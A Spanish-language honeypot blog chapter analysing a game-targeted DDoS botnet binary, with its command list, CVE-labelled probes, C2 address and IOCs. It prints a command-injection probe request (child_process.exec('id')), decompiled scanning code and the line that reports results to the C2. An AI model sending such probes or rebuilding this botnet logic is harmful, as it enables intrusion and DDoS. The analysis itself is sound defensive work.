ES EN
Índice

KHserver · Capítulo 12

Nikki, te quieren

El binario llegó sin limpiar: su autor se dejó dentro los nombres de las seiscientas veintiocho funciones que escribió. Es como recibir un libro cerrado con el índice grapado en la portada. Aquí lo leo entero, función por función, hasta llegar a la única cadena que no encajaba con nada.

Cuando abro uno de estos, lo normal es empezar a ciegas: montañas de ensamblador, funciones llamadas FUN_00129e68, y horas de trabajo para averiguar cuál es la que importa.

Aquí no. Este venía sin limpiar — el compilador guardó los nombres que el autor le puso a cada función y nadie los borró antes de repartirlo. 628 funciones con su nombre de pila. Es como recibir un libro cerrado y que alguien haya dejado el índice grapado en la portada.

Leí el índice. Y no hizo falta más para saber a qué se dedica esto.

01El índice del libro

readelf · funciones (extracto de 628)
exploit_dasan_gpon      cod_flood         killer_loop
exploit_huawei          fortnite_flood    watchdog_maintain
exploit_draytek         r6_flood          scanner_loop
exploit_totolink        rust_flood        report_exploit
exploit_tplink          vseattack         findRandIP
exploit_zte             udp_amp_flood     processCmd
exploit_react2shell     tls_hello_flood   initConnection
exploit_cve2025_34152   tcp_synack_flood  table_init

Tres columnas y tres respuestas: a quién ataca, a quién intenta explotar y cómo se mantiene con vida. Vamos por orden, porque la segunda columna engaña.

02Esto se vende para tirar partidas

La función processCmd es la que interpreta lo que le manda su jefe. Por dentro es una lista larguísima de comparaciones contra palabras concretas: el menú de comandos del negocio.

processCmd · vocabulario completo
UDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH
UDP_AMP · UDP_FRAG · UDP_ICMP · UDP_RAND · RESOURCE
TCP_SYNACK · TCP_ACKPSH · TCP_FRAG · TCP_OPT
OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6
SCANNER · TELNET · REP · ON · OFF

La primera mitad es el arsenal genérico de cualquier botnet: inundar con paquetes de una forma u otra. La segunda mitad es la que canta.

  • FORTNITE · COD · R6 · RUST — métodos afinados para Fortnite, Call of Duty, Rainbow Six y Rust.
  • VSE · CVSE — el Valve Source Engine: Counter-Strike, Team Fortress y compañía.
  • OVHHEX · NFOHEX — OVH y NFOservers, los dos grandes alojadores de servidores de juego. Ambos presumen de protección contra ataques; aquí hay dos comandos dedicados a intentar sortearla.

Nadie escribe un comando llamado FORTNITE por casualidad. Esto no es una botnet genérica que alguien usa para lo que surja: es un servicio de denegación de servicio por encargo, apuntado a un cliente muy concreto — el que quiere que al rival se le caiga la partida. Paga, escribe COD 1.2.3.4 60, y sesenta segundos de la tarde de otro se van al garete.

Un apunte sobre el vocabularioEntre los comandos hay uno cuyo nombre es un insulto racial. No lo reproduzco. Lo dejo apuntado porque forma parte del retrato: esto no lo escribe una organización, lo escribe alguien que no espera que nadie lea su código nunca.

03Quince exploits con apellido

La otra columna es un catálogo de vulnerabilidades, y tampoco hay que adivinarlas: el autor las etiquetó él mismo, casi todas con su número de CVE, en cadenas de texto que van dentro del binario.

el catálogo, tal cual lo escribió
D-Link_DSL_CVE-2016-20017        Totolink_CVE-2025-28137
Dasan_GPON_CVE-2018-10561        D-Link_CVE-2025-29635
TBK_DVR_CVE-2024-3721            Linksys_CVE-2025-9528
Four-Faith_CVE-2024-12856        CVE-2025-34152
ZTE_ZXV10_RCE                    React2Shell_CVE-2025-55182

Nueve años de agujeros en el mismo fichero, de 2016 a 2025, y siete de ellos de los últimos dos años. Eso ya dice algo: esto no parece un kit descargado y olvidado, sino algo que alguien mantiene.

Dos me llamaron la atención. CVE-2025-34152 es una inyección de comandos sin autenticación en un repetidor wifi chino, con puntuación 9.4. Y la última me hizo enderezarme en la silla.

04El exploit que no era

React2Shell —CVE-2025-55182— es de lo más gordo que ha pasado en la web reciente: ejecución de código sin autenticar en React Server Components, puntuación 10 sobre 10, catálogo de vulnerabilidades explotadas de CISA, y medio internet parcheando a toda prisa. Encontrarlo dentro de un bot de routers es como abrir una caja de herramientas de fontanero y encontrarse un rifle de precisión.

Así que fui a leer la función. Aquí está entera, con el ensamblador a la izquierda y el código reconstruido a la derecha:

Ghidra mostrando exploit_react2shell: a la izquierda el ensamblador ARM con las llamadas resueltas a socket e inet_aton, a la derecha el código C reconstruido, que solo envía una petición y busca una cadena en la respuesta
La función completa, tal cual la reconstruye Ghidra. Abre un socket, envía una petición, mira si en la respuesta aparece una cadena concreta y devuelve verdadero o falso. Ni descarga, ni ejecuta, ni instala. (Pulsa para ampliar.)

Y esto es lo único que manda:

exploit_react2shell · la petición
POST /api/run HTTP/1.1
Host: %s
Content-Type: application/json
Content-Length: 50

{"code":"require('child_process').exec('id')"}

Después busca la cadena uid= en la respuesta. Si la encuentra, canta victoria.

Eso no es React2Shell. La vulnerabilidad real es una deserialización insegura en el protocolo Flight, el que usa React para serializar sus componentes de servidor; explotarla exige construir un mensaje muy concreto contra un punto de entrada muy concreto. Lo que hace esta función es llamar a una puerta llamada /api/run y preguntar si hay alguien dispuesto a ejecutar lo que le manden. Es un sondeo genérico, de los de toda la vida, que existía mucho antes de que ese CVE tuviera número.

Le puso el nombre de moda a lo que ya teníaNo hay ni un intento de explotar CVE-2025-55182. Hay una sonda de tres líneas rebautizada con el nombre del fallo que salía en todos los titulares. Es marketing, no capacidad.

Y funciona: si me quedo en la lista de nombres y no abro la función, hoy estaría escribiendo que esta botnet explota un CVSS 10. Lo habría escrito de buena fe, y sería falso.

05Y entonces miré los otros catorce

Si uno mentía, tocaba comprobar el resto. Abrí exploit_dasan_gpon, el del CVE de 2018, que sí es un fallo real y de los más explotados del mundo. Y me encontré exactamente la misma función, calcada, cambiando solo el texto que envía:

exploit_dasan_gpon · decompilado
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, destino, 16);
sprintf(peticion, PLANTILLA, ip);
send(fd, peticion, strlen(peticion), 0);
n = recv(fd, respuesta, 1023, 0);
close(fd);
return strstr(respuesta, "uid=") != NULL;   // ← y aquí se acaba

Los quince son este mismo molde. Conectan, preguntan, miran si la respuesta trae uid=, cierran y devuelven verdadero o falso. Ninguno descarga nada. Ninguno instala nada. Ninguno infecta nada.

¿Y qué hacen con ese verdadero o falso? Esto — la función report_exploit al completo, una línea:

report_exploit · íntegra
sockprintf(socket_del_C2, "REPORT EXPLOIT %s %s:%d", ...);

Se lo chiva al jefe. Y ya está.

Lo que esto significa de verdadEl bot no se propaga con esos quince CVE: los usa para buscar. Cada aparato infectado recorre internet al azar (findRandIP), llama a las puertas de medio catálogo de routers y cámaras, apunta cuáles suenan a hueco y manda la lista a casa.

La botnet es, además de un arma de alquiler, una red de reconocimiento distribuida — pagada con el ancho de banda de sus víctimas, que además de sufrir el bicho exploran internet gratis para el dueño.

Su propagación real es la de siempre, la que me trajo a mí: fuerza bruta contra SSH y telnet con root/root. Lo antiguo sigue funcionando mejor que lo moderno.

06El jefe no vive donde yo creía

Todo apuntaba a 213.232.114[.]14, el servidor que reparte los binarios. Pero al arrancar, el bot no llama ahí. Y su dirección real no aparece en ninguna cadena de texto: está partida en cuatro números sueltos y solo se junta en el momento de conectar.

initConnection · decompilado
szprintf(destino, "%d.%d.%d.%d", tabla_a[i], tabla_b[i], tabla_c[i], tabla_d[i]);
connectTimeout(sock, destino, 888, 30);

Fui a leer esas cuatro tablas en la memoria del programa. Dentro había 45, 95, 168 y 149. Y justo al lado, el puerto: 888.

El centro de mando es 45.95.168.149, puerto 888, alojado en Croacia. Y no lo tiene fichado nadie: cero denuncias en AbuseIPDB, desconocido para abuse.ch, seis motores de setenta y cinco en VirusTotal. Es la pieza más valiosa de todo el análisis y es, justamente, la que menos se ve.

Pero fíjate en ese [i]. El índice sube en cada intento de conexión y vuelve a cero al llegar a tres: el código está escrito para rotar entre cuatro servidores. Solo hay uno configurado.

La cuenta que no saleSi la primera conexión falla, el bot suma uno al índice y vuelve a leer las tablas una posición más allá — donde ya no hay direcciones, sino lo que hubiera guardado a continuación. En el segundo intento arma 95.168.149.888: una dirección que no existe, porque ningún número de una IP puede pasar de 255. En el tercero, cosas peores.

Resultado: este bot tiene exactamente una oportunidad de encontrar a su jefe. Si el servidor está caído en ese momento, o la red parpadea, el aparato infectado se queda encendido llamando a puertas imposibles hasta que alguien lo desenchufe.

07Y entonces apareció Nikki

Con el análisis ya casi cerrado, repasando cadenas sueltas, me topé con una que no encajaba con nada. No era una petición, ni un comando, ni un mensaje de error. Estaba escrita carácter a carácter en hexadecimal, como si alguien no hubiera querido que saltara a la vista.

la cadena, y lo que dice
4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20/x4D/x33/x75/x79 ...

 N1kK1 !si M3uy L0Vr3 <3 Pa2rCH M2 A44rCK

Leetspeak: las vocales cambiadas por números, una falta cada dos palabras, y un corazón en medio. «Nikki es mi amor ❤».

Y me quedé un rato mirándola, la verdad. Después de un día entero destripando una máquina hecha para amargarle la tarde a desconocidos, va y aparece esto. Alguien, en algún sitio, entre un comando con un insulto racial y una función para tumbar servidores de Fortnite, se paró a esconder el nombre de la persona que le gusta. Ya tenía hasta el final del capítulo pensado: el bot sigue dando vueltas por routers de gente que no sabe nada de esto, repitiendo en hexadecimal que Nikki es su amor.

Bonito. Y como tenía cinco minutos antes de escribirlo, hice lo que hago siempre antes de publicar cualquier cosa: buscar la cadena exacta, a ver si alguien la había visto antes.

Adiós al amor.

08Cinco años antes, y no es suya

La misma frase, letra por letra, está documentada en un análisis de diciembre de 2021. Otra botnet, SBIDIOT, atribuida a otra persona, cinco años antes de que la mía cayera en el cebo.

Y allí la frase no está escondida en ningún sitio: es la carga que envía el comando de ataque POXI. O sea, el contenido de los paquetes que la botnet dispara contra su objetivo.

Volví corriendo a mi binario a comprobar quién usaba la cadena. Esto es lo que dice Ghidra:

referencias a la cadena
DATO 00021140 → '4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20...'
   usada por: UDPBYPASS          ← una función de ataque

Lo mismo. No es una dedicatoria escondida: es munición. No está guardada para que nadie la encuentre — está para salir disparada, miles de veces por segundo, dentro de los paquetes que tumban a alguien.

Y el parentesco no se queda ahí. Compara los menús de comandos de las dos, con cinco años de diferencia:

SBIDIOT (2021) vs. el de mi cebo (2026)
SBIDIOT:  R6 · FN · PUBG · 2K · ARK · BO4 · OVHHEX · NFOV6 · STD · POXI · RAW ...
el mío:   R6 · FORTNITE · COD · RUST · VSE · OVHHEX · NFOHEX · STD · PATCH ...

Mismos objetivos, mismos alojadores de servidores de juego, algunos comandos con el nombre idéntico. Es la misma estirpe. Lo que cayó en mi cebo no es una creación: es un descendiente, con exploits nuevos pegados encima y el mismo esqueleto de siempre.

Y hay un último detalle, que es el que me rematóMira cómo está escrita la cadena en mi muestra: 4E/x31/x6B — con barras normales. En el código original iría con barras invertidas (\\x31\\x6B), que es lo que el compilador convierte en el texto real. Aquí las barras están del revés, así que el compilador no convirtió nada: lo que este bot dispara dentro de sus paquetes no es «Nikki es mi amor», sino la notación hexadecimal en crudo.

Es decir: copió la nota de amor de otro — y la copió mal.

09Indicadores (IOCs)

TipoValor
Centro de mando (C2)45.95.168.149 : 888/TCP (MAXKO d.o.o., AS211619) — sin fichar en ningún repositorio
Protocolo del C2REPORT EXPLOIT %s %s:%d · REPORT TELNET %s:%s:%s:%d · SCANNER TELNET <ON|OFF> · «Telnet brute set to %s»
Comandos de ataqueUDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH · RESOURCE · UDP_AMP/FRAG/ICMP/RAND · TCP_SYNACK/ACKPSH/FRAG/OPT · OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6
Exploits embarcados (sondas)CVE-2016-20017 · CVE-2018-10561 · CVE-2024-3721 · CVE-2024-12856 · CVE-2025-28137 · CVE-2025-29635 · CVE-2025-9528 · CVE-2025-34152 · CVE-2025-55182 (falso) · ZTE ZXV10 · Huawei · DrayTek · TP-Link · ADB · DD-WRT
Marcas internasKHserverHACKER · KHcommSOCK
Se hace pasar porkhugepaged · kthreadd · kworker · systemd · dbus-daemon
Persistencia/dev/watchdog y /dev/watchdog2 · oom_score_adj (para que el núcleo no lo mate)
Compilado conAboriginal Linux (toolchain habitual de los kits de esta familia)
Carga de UDPBYPASS«4E/x31/x6B/x4B/x31/x20…» — heredada de SBIDIOT (2021), donde era la carga del comando POXI
El disfraz tiene una costuraSe hace pasar por khugepaged, kthreadd o kworker — nombres de hilos del núcleo, de los que nadie mira dos veces en un ps. Pero los hilos del núcleo no tienen línea de comandos, porque no son programas: los pone el propio kernel. El impostor sí la tiene, y ahí se le ve la costura.
Un negativo, por si alguien viene detrásMe bajé tres de los nueve binarios y analicé uno. Por si acaso miré los otros dos: tienen 955 y 910 símbolos frente a los 628 de este. Parece que traen más cosas y no traen ninguna — las 492 funciones de más son internas de la biblioteca de C (__GI_*, __rpc_*, pthread_*), fontanería del lenguaje. Ni una capacidad nueva. Lo dejo escrito para que el siguiente no pierda la tarde abriéndolos.

Me quedo con la imagen de un router cualquiera, en el salón de alguien que no sabe nada de esto, llamando cada pocos segundos al puerto 888 de una máquina en Croacia para preguntar a quién le toca hoy.

Y cuando le toque, disparará miles de paquetes por segundo contra el servidor de alguien que solo quería jugar una partida. Dentro de cada uno de esos paquetes viajará una declaración de amor de hace cinco años, escrita por otra persona, para una Nikki que probablemente no sabe nada de nada — y que además, por culpa de unas barras puestas del revés, ni siquiera se lee.

Nikki, te quieren. Fatal, pero te quieren.

Continuará — el cebo sigue encendido. Cuando alguien llame a otra puerta de forma interesante, habrá decimotercer capítulo. 🍯

Comentarios